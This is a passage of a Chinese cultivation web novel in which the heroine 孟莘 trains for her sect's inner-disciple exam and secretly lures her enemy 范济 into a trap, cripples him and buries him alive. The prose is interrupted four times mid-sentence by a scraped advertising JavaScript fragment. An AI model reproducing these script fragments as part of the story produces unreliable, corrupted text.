邵鸿轩话音刚落,杜雨兰就走到孟莘面前,“孟师妹,我们数天前对练过一次,如今已过十天,不知道还能否和孟师妹再切磋一次?” 孟莘看着杜雨兰笑盈盈的脸,就知道杜雨兰没安好心,但是她只同彭笑寒许子墨对练的话,也委实缺了点对敌经验,因此同意了:“好啊,咱们两一组。” 第一个上场的自然是邵鸿轩的爱徒彭笑寒,以及她的对手杜景辉。 毫无意外,一炷香燃尽,杜景辉也没打到彭笑寒一下。 “不错,你的剑术比之前又更进一步了,”邵鸿轩惊喜地夸赞了彭笑寒一番,然后严肃看着杜景辉:“彭笑寒虽强,但是你们二人的差距还不该大到这地步,好好反省一下自己,是不是没有好好修炼!” 杜景辉脸色难看地点头称是,杜雨兰感同身受,狠狠剐了身边的孟莘一眼,势要待会找回场子。 孟莘:“???” 好家伙,你弟弟打不过彭笑寒,这笔帐也能往我头上算? 第二组上场的是许子墨和一个四星弟子。 许子墨剑术平平,但奈何修为吊打对方,一炷香下来还是胜过了对手。 邵鸿轩非常勉强地夸了一句,“还算......有进步吧,下一组上来。” 急于找回场子的杜雨兰立刻拽着孟莘走上去。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你们两?”邵鸿轩一看到这两人站在一起,就想起自己的疗伤丹,脑壳疼,但也不好让她们换人,遂特意叮嘱一句:“谨记点到为止。” 杜雨兰自然应下,她被白讹了两百灵石的教训还历历在目,绝不会再给孟莘碰瓷她的机会。 孟莘也散漫地答应了一声,反正也不是说给她听的。 她揉了揉手腕,跃跃欲试地盯着杜雨兰。 这些天她在沧溟派好吃好喝,身体比在山下时好了许多,炼气级的灵气也淬炼了她的身体,外加彭笑寒的悉心指教。 现在她对上杜雨兰,究竟会不会和上次一样呢,她真的很好奇。 邵鸿轩把香点燃,喊道:“开始!” 杜雨兰提剑直冲上来,进阶筑基期以后,她的速度和上次已经不可同日而语。 孟莘晚了她一步,但她却也没有错过杜雨兰的动作,堪堪闪过了杜雨兰的剑,左手狠击杜雨兰右腕,趁杜雨兰手臂发麻时,欺身而上,直刺肩膀。 噗! 木剑划破杜雨兰左肩衣服,孟莘刺中了。 三星对战五星,竟然是孟莘先伤到了对方? 彭笑寒看得清楚,这正是她之前用来对付孟莘的招数,被化用在了杜雨兰身上,这些天他们的努力都没有白费,她微微笑了出来。 而其他弟子只是在怔愣片刻后,纷纷觉得,应当只是运气吧,杜雨兰总不能不济到被孟莘打到吧? 杜雨兰看到那些犹犹豫豫质疑她的目光,怒上心头,不留手地强攻过去。 在如此猛攻之下,孟莘再也没能得手,反而被打得腰酸背痛的。 一炷香燃尽。 “杜雨兰胜!”邵鸿轩宣布。 杜雨兰终于可以骄傲地扬起头,迎着众人火热的目光走下去。 “阿姐,果然还是你厉害,那个孟莘不过是运气好罢了,不然她哪里能伤得到你?”杜景辉与有荣焉地笑着迎过来。 “其实孟师妹也比之前进步很多了,”杜雨兰谦虚地客气了一下,心里却想,最开始那一剑果然是个意外,她怎么可能输给一个三星的废物? 孟莘揉着胳膊走到彭笑寒面前,苦笑:“又给你丢脸了。” 她还以为自己能和杜雨兰拼一拼了呢,结果还是被单方面吊打。 彭笑寒摇了摇头,“你今天已经做得很好了,等入门考核时,必然更上一层。” 她把许子墨叫过来,三人开始复盘起今日得失。 场上在比的已是新的一组,但是邵鸿轩的目光却总忍不住飘到孟莘身上。 之前他就总觉得孟莘闪躲的身姿变得更自如了,今天她能打中杜雨兰那一下,更不是运气和意外,而是她拥有判断战局的脑力,只是身体还跟不上她的意识。 若说这是彭笑寒的功劳,却又不尽然,毕竟许子墨也跟着彭笑寒练剑,却远没有这样的进益。 她不会到时候真能进内门吧? 邵鸿轩如此想到,然后立刻好笑地摇了摇头,就算她长进很快,听薛长老说她在符法上也略有些天赋,但就剩半个月,怎么可能呢? 20. 第 20 章 夜晚的紫竹林漆黑无光,但对此时林中的两人,却是毫无区别。 一个是只有张嘴的纸人,另一个是蒙着眼睛的沈修然。 那纸人蹦蹦跳跳从竹子上揭下孟莘留的符纸,兴高采烈地捧到自家主人面前,“公子公子,你留下的符纸被人拿走了,换了一页新的,你看,是不是那位高人留给你的?” 沈修然微怔,似乎是没想到对方还会留信给他。 他接过,手指摸上铭文,片刻后轻声赞道:“应当是,这符法虽不深奥,但却是我平生仅见,除了那位高人还能有谁呢?” “公子公子,这是那位高人留给你的对局吗?” “不,这只是一道铭文。” 纸人纳闷:“那留下这道铭文是什么意思?” 沈修然摇摇头,想不出答案,“不过想来,至少对我们并无恶意,只是,这人的身份却更加扑朔迷离了。” 他略一思索,挥笔书就一道新的符法,留在那棵细竹上。 小纸人虽灵智懵懂,但唯独这道符文,却是万万不会认错的,“公子,你怎么能把它画下来?!!” 沈修然微微一笑,“略作试探而已,如果这人是沧溟派的核心人士,那想必沧溟派马上就会有动静,如果不是,又正巧能解开这道符文,那我们现在碰到的问题,岂不是有人可以解了?” 这时的沈修然万万想不到,他口中的高人,正是因为被他惊到,已经打算再也不来紫竹林了。 * 月明星稀,沧溟山的校场上却还有几个刻苦的身影。 “看剑!”一位少年飞身刺向对面的少女,少女并未躲避,而是持剑迎上,剑身轻旋,将少年的剑势化解于无形。 少年大惊,疾步就要后躲,却被少女先一步刺中了胸膛。 少年呆了呆,气得把剑一扔,“不带这样的!现在我怎么连你都打不过了!” 这少年正是许子墨,而对面那刺中他的少女轻轻一笑:“我不得不说,你确实没什么战斗的天赋,只论剑法,现在连我都能赢你了。” 少女擦去额头汗珠,沧溟派的蓝色衣裙勾勒出她瘦削的线条,但看上去并不孱弱,反而透出一种韧劲。 这少女并非剑术卓绝的彭笑寒,而是被认为是本届最废物外门弟子的孟莘。 从她解开四星以后,孟莘便开始了没日没夜的修炼。 半个月过去,她的修为算得上突飞猛进,现在已经到了炼气九级,灵力淬炼外加好好吃饭补足了身体的亏空,她的身体素质显著拔高,在战斗中也体现了出来。 只要许子墨不拿他筑基七级的实力来压制,她甚至已经能打赢许子墨了。 看完两人的对战,彭笑寒思索片刻,拿起木剑走过来,“我们两来比一场。” 孟莘目光凝重地看着她,这些天她和彭笑寒一直都是以攻守互换的方式练习,今天终于要开始实打实的来一场了。 “好。”孟莘长呼出一口气,“我也想知道面对你会是什么结果。” 原本颓唐坐在地上的许子墨立刻精神起来,一骨碌站起,“好好好,我来做裁判,以一炷香为限,开始!” 这次率先攻过去的是孟莘,她知道筑基七级的彭笑寒速度十分恐怖,绝不能让彭笑寒抢占先机。 以攻代守,她凝神注意着彭笑寒的动作,抓住了彭笑寒面门的空隙,刺了过去。 彭笑寒则是以不变应万变,看孟莘攻来,侧身格挡,那个空隙被她轻易遮掩,甚至把孟莘困在了自己的剑风下,“你的剑太直接了,只要比你快的人都能化解!” 然而被困住的孟莘眼里非但没有惊慌,反而闪过一丝笑意:“谁说我出的就是那一剑了?” 只见她手中木剑一抛,矮身从彭笑寒剑下闪过,趁彭笑寒一愣的功夫,钻到彭笑寒背后,左手堪堪接住下坠的木剑,非但躲过了彭笑寒的剑风,并且左手持剑立刻砍向彭笑寒身后的空隙。 场外的裁判许子墨顿时眼前一亮,很带个人恩怨地呐喊:“孟莘上啊!让彭笑寒见识见识我们也能翻身做主人啊!” 然而彭笑寒何许人也,当即察觉了孟莘意图,右腿猛向后踢,将孟莘的剑踢开。 “好吧,是没那么容易得手,”虽然失败,但孟莘也并不懊恼,立刻又攻了过去。 两人交缠了数十回合,到一炷香结束,孟莘仍旧没有打到彭笑寒一下。 “唉,看来我还差得很远。”孟莘苦笑,她知道彭笑寒在比试时是完全收着自己筑基七级的灵压的,可惜她还是打得很艰难。 但彭笑寒却面色凝重:“如果你想一个月就赶上来,那也太小瞧剑道了,况且我们修为有差距,我的速度必然更快。而且现在你的身法和剑术,已经和一个月前不可同日而语,我应付你的攻击并不轻松。” “筑基级的速度吗......”孟莘若有所思地喃喃道。 “别挑三拣四了,你能和彭笑寒打成这样已经够好了,”许子墨酸了,他只能被彭笑寒吊起来打。 “是啊,同样是一个月,你们两差距是不是太大了点,”彭笑寒无奈地看着许子墨,“上来,我们再练一会,过两天就要去魔兽森林了。” 孟莘收剑到场下,在他们两人对练时,自己则抓紧空隙吸收灵力。 四星识海外加精神力,她半个月连跨三级,已经算得上很惊人的进步了,但离筑基却总差一点。 也不知道究竟什么时候能筑基,她在炼气九级可已经好几天了。 次日一早,孟莘照常来到讲堂,但是薛长老却并没有讲课。 “后日便是内门考核,今明两天你们不必再来上课了,好好修整一番,我也很期待,你们这一批弟子中,究竟有几个人能进入内门哪。”薛长老含笑道。 内门考核面向的是外门全部弟子,很多人早就已经修炼多年,而刚入门的小弟子们只修炼了一个月,往往只是走个过场,只等来年。 不过,今年有两位六星和两位五星在,这一届或许要在内门考核中大放异彩了。 大多数弟子都神情黯然,他们也知道,虽然大家同期入门,但恐怕几天以后,就要分道扬镳了。 杜雨兰和杜景辉姐弟财大气粗,起身邀请众人,“大家同门一场,如果没什么事的话,我们已经在山下的青州城订了酒楼,还请大家赏光,也全一下我们的同门之谊。” 听他们的口吻,好像内门弟子的名额已经收入囊中一样。 不过他们已经筑基二级,众人也只能苦笑,这种修为怎么可能考不进去呢? 最后几乎所有人都答应了下来,免费的酒席没必要推辞,更何况未来两个内门弟子的人脉,也是很有吸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 引力的。 没有搭腔的,自然就是孟莘三人。 杜雨兰和杜景辉没再邀请彭笑寒许子墨,这两人跟孟莘穿一条裤子,何必自讨没趣? 反正内门考核时见真章,这三人后天就得分开。 杜雨兰和杜景辉冷冷瞥了孟莘一眼,引着浩浩荡荡的人群走了。 讲堂里只剩下孟莘三人。 许子墨兴冲冲跑过来,“怎么样,咱们三也下山去玩吧!” 到底是十五岁的少年人,连一向刻苦的彭笑寒也动摇了,她犹豫着问孟莘:“你去吗?” 孟莘失笑,她戏谑地看着两人:“我说你们是不是忽略了一件事?我才炼气九级啊炼气九级,照这样我后天甚至没有参加考核的资格,我像是有空去玩的样子吗?” 彭许二人一呆。 他们天天跟孟莘厮混在一起,这家伙剑法进步飞快,符法深不可测,修为也日渐增进,导致他们两虽然理智上知道,但实际上经常会忽略。 这家伙原来还没筑基啊! 彭笑寒当机立断,“那我也不去了,今晚我还是练剑。” 许子墨惋惜地摇摇头,“那等考核完咱们再去玩吧,反正也就几天。” 这两人倒是一副完全不担心她会筑不了基的样子,孟莘笑着摇摇头,告别了两人,找了一个僻静又灵力充裕的地方修炼。 虽然内门考核重中之重,但是,当下孟莘最紧迫的威胁,是范济。 如果没记错,他今天就该从戒律堂出来了。 * 范济踏出戒律堂,看着沧溟山的山水,竟有些恍若隔世之感。 范毅前来接他,从他毫不掩饰的气息里察觉到他修为有突破,惊喜道:“你这些日子在里面真的没有荒废时光,竟已经突破筑基二级了?” 范济点点头,自从得知高矮胖瘦四人的死讯,他就开始专心修行,竟比以前修炼的速度都更快一些。 “以你的修为,后日的入门考核,你必能进入内门,我会替你打点关系,让你也进入戒律堂,往后你我二人兄弟照应,在沧溟派倒也没什么可以畏惧的人了。” 范济以前总求着表哥把自己拉进戒律堂,今天却没什么反应。 他一个月前还是被师弟们吹捧的、内门有关系的、今年必能考入内门的师兄,一个月后,那些师弟们都已经死绝了,而考入内门、进入戒律堂也不再是他最关心的事情。 梁如安! 他眼中狠辣神色一闪而逝,他非得宰了梁如安不可! “表哥,我当时跟你说的梁如安,你有去查过吗?”他急急问。 范毅眼中闪过一丝不悦,怎么表弟还在关注那个人?不过是一个区区炼气六级的小弟子,何必将精力浪费在她身上。 他冷淡道:“查过,她并没有嫌疑,你也不要再盯着她不放了,那个案子已经以意外结案了。” 范济有些惊讶,却没有再反驳。 戒律堂查不了就查不了吧,正好他亲自动手,以他筑基二级的实力,还能奈何不了一个小小的梁如安? 范毅一看表弟的神色,就知道他并没有放下,无奈地叹了口气。 他们自小一起长大,表弟虽品行顽劣,但是感情却是在的,算了,由表弟去吧。 反正,不管出什么事,他都兜得住。 21. 第 21 章 范济告别范毅以后,就去了这届外门弟子的住处。 表哥告诉他,孟莘用灵石提升到了炼气六级,至于其他方面,并没有什么问题。 但范济坚信,四位师弟一定是她杀的。以一敌四,她究竟用了什么办法? 以防万一,他决定跟孟莘的同期打听一下她现在的实力。 结果到了地方,竟然一个人都没有,孟莘本人也不在。他决定等一会,却没想到,这一等就到了晚上。 一群喝得醉醺醺的小弟子们勾肩搭背地走回来。 范济不耐烦地拦住其中一个,“我问你,你们同期有个叫孟莘的,现在修为如何了?” 巧了,他拦住的正是杜景辉。 养尊处优的公子哥连分走了他光环的孟莘都记恨,更别说傲慢无礼的范济。 “谁给你的胆子,这么对我说话?”杜景辉冷哼道,伸手就是一掌,筑基三级的灵力附在手上拍了过去。 筑基二级的范济万万没想到,自己随手一拉就招惹上一位修为比自己还高的,狼狈地险险躲过,他赶忙赔了笑脸,“这位师弟,是我冒昧了,还请你谅解。” 杜景辉这才勉勉强强地原谅了范济的无礼。 他微抬着下巴,骄矜地说:“孟莘算什么东西,不过是个三星的废物,每堂剑术课,我都把她打趴下,她连我的头发丝都碰不到。” 孟莘的剑术这么糟糕吗? 范济迟疑道:“她筑基了吗?” “哼,”杜景辉冷笑:“她一个三星也想在一个月筑基?她想得倒美,要不是她用灵石走歪门邪道,恐怕连炼气六级都达不到。” 他们上一次测灵力,还是在薛长老的月半小考上,当时孟莘只有炼气六级,杜景辉自然不觉得她有本事在半个月提高到哪里去。 看到杜景辉信誓旦旦的模样,范济信了几分,孟莘大约就是炼气境的实力。 “这位师弟,你既然如此了解孟莘,不知道她是不是还有点什么别的底牌?”范济诱导着又问。 杜景辉脑子里下意识浮现出月半小考时的记忆,薛长老把孟莘的符咒评为乙等,竟和他们姐弟同一个等级,他一时怒上心头。 “当然没有,她也配?不过是个废物罢了!” 范济其实觉得再问问别人更妥当一些,但一见这七倒八歪的人群,便打消了念头,他们看着还不如这个师弟清醒呢! 这个师弟筑基三级,和他的实力差不多,那自己遇上孟莘,应该和这位师弟对孟莘的战绩相当。 范济先是心里一松,接着又产生了更多疑惑。 如果孟莘本身就这么点实力,那她究竟怎么杀的四位师弟? 许久之后,他将目光投向了醉月长廊的方向。 是了,只可能是她另有表哥没查出的一笔财产,买了足够惊人的法器,才能有那样惊人的结果。 范济有表哥接济,私下还算宽裕,他咬了咬牙——算了!他也去买件法器好了! 下定决心,范济便往山上走去。 醉月长廊位置偏僻,沿路上来他一共只见到了一位同门。 对方披着一件宽大的斗篷,半张脸都被藏进了阴影里,怀里还抱着一个用布包裹着的状似剑的东西,正从醉月长廊的方向下来。 范济并没在意,去醉月长廊买东西的同门都很注重隐秘,这样打扮也不奇怪,要不是他耽误了太久,他也会去披一件的。 范济侧了侧身,准备从那人身边绕过,却忽而发现对方全身都在颤抖。 他正觉得奇怪,那人却突然朝山下拔腿狂奔。 不对劲! 范济凝视着那道背影,忽而也追了过去。 他筑基二级的速度轻松胜过了对方,长臂一伸,从背后把那人兜帽摘了,被风吹起的长发下露出少女惊恐的面容,一点红痣在月光下清晰可见。 “哈哈哈哈哈!梁如安!我就知道是你!”范济狂笑道,除了梁如安还有谁会一看到他就吓到逃跑! 少女狠狠推了他一把,然后趁机抱着包裹朝林中奔去。 看来她也知道他今天结束禁闭,所以上醉月长廊去买法器,想用来对付他,可惜他也想到了这一点,把她抓了个正着! 既然如此,他就决不能给她用出法器的机会! “梁如安!撞在我手里,我让你今天求死不能!”范济恶狠狠地想道,立刻朝梁如安的方向追去。 林中树木繁杂,孟莘绕来绕去,拖慢了范济的速度,他竟一时得不了手。 忽而少女被脚下石块绊了一下,她怀里抱的包裹脱手,朝另一侧翻滚了下去。 范济抓住这个机会,立刻冲上前去。 少女也根本没敢去捡法器,拼命往林中奔逃。 短短五息,范济已经追上!他伸臂就要抓住她的肩膀,“梁如安,我看你往哪里逃!” 他的手指已经触碰到了她的肩膀,范济大喜,但是下一息,少女却以他拍马不及的速度飞射了出去。 范济目光一凝,神行符! 他顿觉不对,如果她有神行符,为什么一开始不用?为什么不借神行符逃到山下人群里?而是跑到树林...... 她惹人注意的颤抖,可以追上的速度......就好像,故意引他进来一样? 强烈的不安感让范济生生止住了自己向前冲的步伐,急急向后退去。 “现在才反应过来,晚了!”少女清脆的声音在林中响起,随即几枚硬物冲他飞射而来。 暗器? 范济身体翻飞横臂去挡,轻松躲过,他阴沉大笑:“梁如安,就这点本事,也敢引我过来?” 孟莘灵巧地从树上跃下,稳稳站在地上,拍拍手笑了笑,“原本也不是为了打中你。” 话音刚落,范济身后噌的一下燃起一圈数丈高的火焰,封住了他的退路。 范济瞳孔一缩,那不是暗器,是被折起来的火符! 后路被封,他只剩下了一个方向,那就是孟莘所在的方向。 范济长长呼出一口气,瞪向孟莘:“是什么给你这样的胆量,让你把一个筑基级的修士困在这里,是这些符咒吗?” 孟莘饶有兴致地看着他,“又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是什么给你的胆量,让你在目睹这一切,明知这是陷阱的情况下,依然敢挑衅我?” 范济呵呵冷笑,抽出腰间佩剑,欺身直上,“你不会还以为我是入门考核那天刚刚筑基的修为吧,这一个月,拜你所赐,我的修为在禁闭室可大有长进啊!” 范济是四星识海,甚至是四星识海里悟性较高的那类,一个月,从筑基一级提升到筑基二级,这对不少内门弟子而言,都是不可想象的速度,他有足够骄傲的资本。 而梁如安,一个区区三星,怎么可能想象得到筑基二级是什么实力? 他的剑已经杀至孟莘近旁,却并未在她眼中看到应有的惊恐,相反,却是一种一言难尽的古怪。 “啧,错怪许子墨了,原来是彭笑寒拉高了标准,其实他的战斗天赋还不错。” 随着少女这句没头没尾的话,下一瞬,她一个旋身就消失在了他的剑前。 这不是神行符,她怎么会这么快? “筑基期的速度,感觉真不错啊。”一声轻叹落在他身后。 但是范济已经来不及回身了,峨眉刺左右开弓飞快废掉了他的经脉,他无力地摔倒在了地上。 剧烈的疼痛让他再也没有一丝骨气,他强忍着痛楚,看着朝他缓步走来的孟莘,讨好地哀求。 “别杀我!别杀我,我再也不敢对你动手了,你要我做什么都可以!你想进内门吗?我表哥就是内门戒律堂的,我让他安排你进戒律堂!你想要灵石吗?一万?十万?你要多少我都给你!别杀我!” 孟莘没有搭腔,而是蹲下身,给他喂了一粒药丸。 他不敢咽,但是被迫咽了下去,身体内部感觉到了新的血气在腾起,是补气丸! 范济呆住,她给他吃药,果然是不想杀她了,她竟然这么好骗? 孟莘接着又一言不发给他包扎伤口,范济更是狂喜,嘴上一点也不敢停:“不只是十万灵石,我还有玄阶丹药,那个丹药你吃了准能在魔兽森林通过考核......” 他嘴上说得天花乱坠,心里却想着果然是山下打杂的,一点见识都没有,眼皮子就这么浅,等他回去,一定要告诉表哥,然后狠狠收拾她,这些伤双倍,不,三倍奉还! 孟莘包扎完,接着开始在地上挖坑。 范济身上疼得厉害,不知道她在干嘛,委婉催促:“孟师妹,我的伤还是得请药阁看看吧,你要有事不如改天我再来陪你做,我们还是先回去吧。” 孟莘惊讶地望过去:“回哪去?我这不就是在给你挖坟吗?” 范济霎时僵住,磕磕巴巴地问:“那补气丹......” “哦,”孟莘有点懊恼的模样,“因为我进阶筑基期以后第一次实战,下手没把握住轻重,不给你吃药,怕你今天就死了。” 范济大脑迟缓地反应了一下她在说什么,随即嗓子里就要蹦出绝望的大喊,但是被孟莘眼疾手快地用一把草堵住。 孟莘笑眯眯地看着他:“范师兄,你干嘛这么大反应,你当时让梁如安被淹死在水里,而我让你被闷死在土里,很公平的,是不是?” 22. 第 22 章 孟莘动作很快,只用了一炷香的功夫,就把范济填进了坑里。 她又把自己最初抱着的那个细长包裹捡了回来,里面并非是范济以为的法器,而是她自制的一个机关。 孟莘思考过她该如何对范济下手,最重要的一点,就是不能让他那个通会期的范毅表哥帮忙。 一定得在一个范济主动去的、不会设防的地方。 而范济会去哪里? 他那么笃定是她杀的高矮胖瘦,甚至不惜煽动戒律堂对付她,最后却一无所获,他会往哪里猜? 自然只能是她买到了什么大杀器,而他心存戒备,也会想为自己购置点防身的后手。 今天或者明天,他迟早会来醉月长廊。 她要把范济引到没有人烟的地方动手,那看起来就必须是一场偶遇,还要让他觉得她很弱小,跟上去也不会有危险。 害怕得跑去买法器,看到他就瑟瑟发抖的形象,够不够他放松警惕? 她甚至还在中途故意把包裹丢了,像是弄丢了最后的底牌,让他有胆量上前。 最后证明,这些伪装,确实够了。 她把机关装好,迎着范济绝望的目光,好心地向没法开口的他解释。 “这个机关能控制土壤密闭的速度,大概过几天,你才会耗尽氧气,我相信作为修士,范师兄你不需要吃饭也能撑到那时候的。” 然后她就把土填上去了,遮掩得在外部根本看不出被人动过。 如此也是无奈之举,谁让修真界还有魂灯这种作弊的东西。 上次她就因为魂灯被抓了个正着,而这次,有了装置,范济死亡时,她应该正好在魔兽森林考核,拥有完美的不在场证明。 她又仔细在树林里转了一圈,把火符燃烧还有战斗的痕迹都想办法消除掉,这才转身离开。 她身后,幽深的树林漆黑寂静,没有人会想到,里面还藏着一个不久后就将死亡的罪恶灵魂。 现在,从入门以来到现在,她终于可以去睡个好觉了。 * 辰时,天光清亮,早风微凉。 沧溟派的丹墀上重新屹立起紫黑天石,外门所有长老悉数到场,数百名蓝色衣袍的外门弟子,围着中间那数丈宽的青石台,挤挤攘攘好不热闹。 “安静!”在丹墀上方的薛长老大喝一声,灵力将他的声音传到每一位小弟子耳中,“今年的内门考核从今天开始,所有弟子先上来测灵力,达到筑基期的,才有资格进入考核!” 众弟子分成几列,朝前方慢吞吞移动。 原本天石测灵力是很快的,奈何总会有入门多年的弟子不甘心地恳求长老,“让我再试一次,就一次!一定是它测错了,我怎么可能没有筑基呢?” “自己的修为自己最清楚,天石怎么可能测错呢?”许子墨枕着胳膊摇摇头,半晌又看着孟莘笑道:“对了,你倒是个例外。” 孟莘想起一个月前的入门考核,当时她多面受敌,连入门都备受阻挠,这个月发生太多事情,竟已经遥远得像上辈子一样,略有些唏嘘。 “如果当时我没能进入沧溟派,现在不知道会怎么样?” “也可以去其他门派,你不是想做器修?天京万剑宗是天下器修第一,也许你能考进万剑宗,”彭笑寒帮她设想了一下。 “对啊,”许子墨跟着说,“天下又不是只有沧溟派一家,兴许那样的话,有一天我们还会去跟你订制法器呢。” 孟莘笑了笑,“说的也是。” 他们不知道孟莘是无法离开沧溟山的,她并没有那么广阔的天地可供选择。 没有进入沧溟派的孟莘,也许想到了办法与李岩周旋;也许被迫逃离沧溟山,遭遇了女妖预言的性命之危,辗转求生;又或许她已经死了。 这些都不比现在更好。 尽管过程并不轻松,但她亲手解决了仇人,切身感受到自己正在变得强大。 她微微眯起眼,从东方升起的朝阳将弟子们的影子拉成直线,如奔涌江流般前仆后继涌向前方,那汲汲营营挣扎着想要搏到的东西,她现在好像真的可以理解了。 他们,还有她,都想要拥有,可以决定自己人生的力量。 “原来这种感觉还不赖。”她轻声自语。 彭笑寒奇怪地抬头:“什么?” “天气,”孟莘笑着说:“我从来没觉得天空原来蓝得这么透彻。” “那当然,清晨的天气哪能不好啊。”许子墨说。 * 过了半个时辰,才轮到外门资历最浅的这届弟子。 杜雨兰杜景辉姐弟率先被叫到。 “杜雨兰,识海五星,筑基三级!” “杜景辉,识海五星,筑基三级!” 孪生姐弟笑容明媚的脸在整个丹墀都引起了不小的震动。 “才刚入门一个月,就已经到了筑基三级,不愧是五星啊。” “别说区区内门考核,恐怕五年后的宗门大比,也有这二人的一席之地。” 而丹墀上的这些外门弟子,辛苦修炼多年才堪堪筑基,对于这双子,说不羡慕,那是假的,但五星识海,本也是珍贵的天赋,羡慕也没有办法。 “下一个,彭笑寒!” “识海六星,筑基七级!” “下一个,许子墨!” “识海六星,筑基七级!” 这个级别对于在场弟子来说堪称震撼,如果说他们听到杜家姐弟的修为时还有心情调笑几句,这会就是彻底麻木了。 识海六星、筑基七级,这还比什么比?这辈子连对方的背影都不可能追到! 连主持秩序的薛长老也忍不住带上了笑意:“你们两个家伙,赶紧给我滚去内门吧,再不去,真怕你们在我这外门进阶通会了!” 少女和少年点点头,走下了台,面对周围恭维的声音,全都处之泰然,既不显得傲慢也不过分谦逊。 师兄师姐们的目光更严肃了,憧憬地赞道:“彭师妹和许师弟非但修为出众,为人也当真是落落大方有林下风啊。” 却不知道,这两位被赞扬风度的六星,一回到孟莘身边,纷纷露出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真面目。 一个冷着脸说:“大庭广众的,被这么叫名字真的觉得很丢脸。” 另一个则悄悄做了个鬼脸,“都知道我们两早就筑基了,还非得再测一次,这老头是想给外门贴贴金啊。” 孟莘真想让大家伙看看这两人的嘴脸,她嫌弃道:“你们两知足吧,等待会你们就会看到什么叫真的可怕。” “哦,有戏可看?”许子墨瞬间来了兴致。 孟莘摊了摊手,“别抱什么期待,最多是非常低级的群口相声。” 修为测试还在继续,却再也没有双五双六那样令人惊艳的结果了,绝大多数小弟子都只能再等来年。 师兄师姐们松了口气,还好还好,再来几个那样的天才,他们可承受不了啊。 不多时,场上只剩下了最后一个人。 “下一个,孟莘!” 随着薛长老喊出这个名字,丹墀的所有目光都凝聚在了少女身上。 她一身蓝色衣裙,微垂的眼睫掩去所有神色,唯独一颗红痣在眉心清晰醒目。 并非每一个外门弟子都通晓原委、知道孟莘是何人,但几乎所有外门弟子,都认得那张脸。 在静了一息后,整个丹墀便如水溅到油锅里一样炸开。 “我去,这不是梁如安吗?她什么时候进外门了?” “哈?你不知道那天她为了入门大闹一通,还害好多人挨了鞭刑吗?范济师兄还因此被罚进戒律堂禁闭一个月,说起来范济师兄不是筑基了吗,他怎么今天没来?” 这个小小的疑惑,却仿佛落进湖里的一滴水,很快就淹没得无影无踪,只剩下铺天盖地的对孟莘的嘲弄。 “她这个名字换得好啊,真把她过去诋毁梁师叔的事情遮掩过去了!这么多人都不知道她进门了。” “她进门也就是个识海三星,今天也好意思来测修为,真是自取其辱,还被大家发现她的真面目了,哈哈哈哈哈真是搬起石头砸自己的脚!” “等从魔兽森林出来,我们可得好好教训她一番,让她诋毁梁师叔!” 这些嗡嗡乱叫的、揉成一团的声音,像一片汪洋的海,从四面八方涌来。 哪里、哪里、哪里都没有逃出去的生路,只剩下孟莘身边一艘小舟容身,好像随时都会被浪打翻。 彭笑寒下意识地攥住了孟莘的手,在入门那天,她也曾见识过对孟莘的恶意,可与今天相比,却是天壤之别。她有一把重剑,但再重的剑,也荡不平这样浩大的声势。 许子墨万万没想到等来的会是这样的热闹,他试图在孟莘身前挡一挡,就像入门考核那天他做的一样,但那时他能挡住范济,今日却无论如何也挡不住数百人之众。 而孟莘仅仅只是仰头望着,这神态各异的扭曲面孔。 她的大脑很平静,唯有心脏在隐约地闷痛,好像身体在哀哀诉说过往的所有委屈。 这一刻她忽然清晰地意识到,原来梁如安不只是被范济他们杀死的。 从她五岁来到沧溟山起,她就一直在被杀死、不断地在被杀死。 23. 第 23 章 当孟莘望过去时,那些恶意的、鄙薄的、幸灾乐祸的脸,都还很年轻。 十六、十七,抑或是二十一二。 梁峰清十六年前闭关时他们多少岁?又是生活在离沧溟派多远的地方? 不过是见过画像,听说过几句梁峰清的故事,便扯上了一个名为“梁峰清”的大旗,然后所有隐蔽于其下的汹涌邪念,都有了光明正大可以宣之于口的理由。 修为无法提高的焦躁、难以考进内门的苦闷、前途惨淡的绝望......那些会被惩罚、无法诉诸于同门的恶意,都有了一个完美的倾泻对象。 梁如安。 因为她年幼、因为她执着、因为她的话无法被考证。 更因为她无父无母孑然一身、因为她身体孱弱无力反抗、因为她识海三星不会有煊赫的未来。 她弱小,所以可欺。 不过是这样而已。 可连自己真正的想法都不敢宣之于口,而是藏身于冠冕堂皇的理由之后,弱小的又是谁呢? 总不会是孤身一人顽强长大的梁如安,从来都不是。 孟莘嘴角勾起一丝嘲讽的弧度。 事态有些失控了。 青石台上的长老们并不知晓原委,也不明白怎么突然就扯到了三峰主,一时没做出反应。 薛长老倒是很快就听明白了,他眉头紧皱,厉声喝了一声:“今日内门考核,吵吵闹闹成何体统,肃静!” 但他的训斥并没有见效,仿佛有了梁峰清这道免罪金牌,薛和泰这个外门掌事长老已经不够看了一样。 薛长老额头青筋直跳,长袍下的手已经抬起,预备给这群闹事的弟子一个教训,余光下意识瞥过另一位当事人,却忽然怔了一下,“咦?” 只见那被攻击的焦点,脸上却并没有任何被伤害到的软弱。 孟莘对身边两人轻声说了句“谢谢”,而后松开了彭笑寒的手,推开了许子墨的肩膀。 “哈哈哈哈哈,这会儿躲不下去了吧!” “以为抱上两个六星的大腿,就高枕无忧一步登天了?做梦去吧!” 喧嚣的声浪中,她每一步都走得平静沉稳。 刀子一样锋利的目光下,她一次也没有避开视线。 她认认真真地聆听着、注视着,像是想把每一张脸都记下来。 “她这什么眼神?还想跟我们算账?” “看什么看?!再看也是你够不到的修为!” 这些弟子们或许用了一年、两年,甚至更久的时间才达到筑基,在内门弟子面前根本抬不起头,但唯独在孟莘面前,却仿佛都有了自得的本钱。 再差能有她一个不知怎么混到三星的原二星差?再差能有她一个山下打杂身体孱弱的跑堂差? 登上青石台的台阶被人故意堵住了,孟莘也懒得跟人理论,手一撑就在众长老面前跳了上去。 薛长老看到突然窜出来的孟莘,呆了呆,“你跑这儿干嘛?” 她现在最该做的事情不是赶紧躲起来吗? 孟莘奇怪地看着他:“不是要测修为?” 